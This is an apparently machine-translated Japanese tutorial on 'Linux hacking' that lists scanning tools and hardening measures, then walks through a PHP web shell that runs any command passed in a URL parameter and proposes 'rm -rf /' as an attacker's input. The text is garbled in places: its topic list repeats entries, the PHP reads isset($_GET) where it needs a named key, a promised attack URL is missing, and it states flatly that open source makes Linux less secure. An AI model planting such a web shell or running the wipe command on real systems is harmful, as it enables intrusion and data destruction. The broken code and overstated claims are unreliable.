Linuxは、特にWebサーバーのために、最も広く使用されているサーバーオペレーティングシステムである。 これはオープンソースであり、誰でもソースコードにアクセスできることを意味します。 これは、攻撃者がソースコードを研究して脆弱性を見つけることができるため、他のオペレーティング システムと比較して安全性が低くなります。 ハッカーのためのLinuxは、これらの脆弱性を利用して、システムに不正にアクセスすることを目的としています。
この記事では、Linuxとは何か、そのセキュリティ上の脆弱性、Ubuntuを使ったハッキング、そしてその対策について紹介します。
このチュートリアルで扱うトピック
- Linuxに関するクイックノート
- Linuxハッキングツール
- Linuxハッキングを防ぐ方法
- ハッキング活動.com
- Linuxハッキングツール
- Linuxハッキングツール。 PHPを使用してLinuxシステムをハックする
Linuxに関するクイックノート
Linuxは、オープンソースのオペレーティングシステムである。 Redhat、Fedora、Ubuntu など、Linux ベースのオペレーティング システムの多くのディストリビューションがあります。 他のOSと違い、セキュリティに関してはLinuxは安全性が低いです。 これは、ソースコードが自由に利用できるため、オープンソースでない他のOSと比較して、脆弱性を研究し、それを悪用することが容易であるためである。 Linuxは、サーバー、デスクトップ、タブレット、モバイルデバイスのOSとして使用できます。
Linuxのプログラムは、GUIまたはコマンドのいずれかを使用して操作することが可能です。 Kali LinuxハッキングのためのLinuxコマンドは、GUIを使用する場合と比較して、より効果的かつ効率的です。 このため、ハッキングのための基本的なLinuxコマンドを知っておくと役に立ちます。
Kali Linuxのハッキングを開始する方法については、これらのチュートリアルhttps://www.guru99.com/unix-linux-tutorial.htmlを参照してください。
Linux ハッキング ツール
- Nessus- このツールは、Ubuntu ハッキング、構成設定、パッチ、およびネットワークなどのスキャンに使用することができ、https://www.tenable.com/products/nessus
- NMap で見つけることができます。 このツールは、サーバー上で実行されているホストと、それらが利用しているサービスを監視するために使用することができます。 また、ポートのスキャンにも使用できます。 https://nmap.org/
- SARA – SARAはSecurity Auditor’s Research Assistantの頭文字をとったものである。 その名が示すように、このツールは、SQLインジェクション、XSSなどの脅威に対してネットワークを監査するために使用することができ、http://www-arc.com/sara/sara.html
で見つけることができます。
Linux ハッキングを防ぐ方法
Linux ハッキングは、オペレーティング システムの脆弱性を利用します。 組織は、このような攻撃から身を守るために、次のような方針を採用することができます。
- パッチ管理-パッチは、攻撃者がシステムを危険にさらすために悪用するバグを修正します。
- 適切なOSの設定-他の攻撃は、サーバーの設定の弱点を利用します。 非アクティブなユーザー名とデーモンは無効化する必要があります。 アプリケーションに共通するパスワード、デフォルトのユーザー名、および一部のポート番号などのデフォルト設定を変更する必要があります。
- 侵入検知システム – このようなツールを使用して、システムに対する不正アクセスを検出することができます。 一部のツールは、このような攻撃を検出し、防止する機能を備えています。
Hacking Activity: PHPを使用してUbuntu Linuxシステムをハックする
この実践的なシナリオでは、Ubuntuでハックする方法を学び、PHPを使用してLinuxを侵害する方法に関する基本情報を提供します。 犠牲者をターゲットにするつもりはありません。 試してみたい方は、ローカルマシンにLAMPPをインストールすることができます。
PHPには、Linuxのハッキングコマンドを実行するために使用できる2つの関数が用意されています。 exec()関数とshell_exec()関数です。 exec()関数はコマンド出力の最終行を返し、shell_exec()はコマンドの全結果を文字列として返します。
実証のために、攻撃者の管理者がWebサーバーに次のファイルをアップロードすると仮定してみましょう。
<?php$cmd = isset($_GET) ? $_GET : 'ls -l';echo "executing shell command:-> $cmd</br>";$output = shell_exec($cmd);echo "<pre>$output</pre>";?>
ここで、
上記のスクリプトは、cmd という名前の GET 変数からコマンドを取得します。 コマンドはshell_exec()を使って実行され、ブラウザに結果が返されます。
上記のコードは、次の URL を使用して悪用することができます。
http://localhost/cp/konsole.php?cmd=ls%20-l ここで、
- “…konsole.php?cmd=ls%20-l” は変数 cmd に値 ls -l を代入しています。
Ubuntuでサーバーに対するハッキングのためのコマンドは、
shell_exec('ls -l') ;
上記のコードをWebサーバーで実行すると、以下のような結果が得られます。
上記のコマンドは、単に現在のディレクトリ内のファイルとパーミッションを表示します
ここで、攻撃者が次のコマンドを渡したとしましょう
rm -rf /
こちらです。
- “rm” はファイルを削除する
- “rf” は rm コマンドを再帰的に実行させる。 すべてのフォルダとファイルを削除する
- “/” は、ルートディレクトリからファイルを削除し始めるようにコマンドに指示する
攻撃URLは以下のようになります。 まとめ
- Linuxはサーバ、デスクトップ、タブレット、モバイルデバイスで人気のオペレーティングシステムです
- Linuxはオープンソースなのでソースコードを誰でも入手することができます。 そのため、脆弱性を発見することが容易です。
- Ubuntuの基本およびネットワークハッキングコマンドは、Linuxハッカーにとって貴重です。
- 脆弱性は、システムを危険にさらすために悪用される可能性のある弱点です。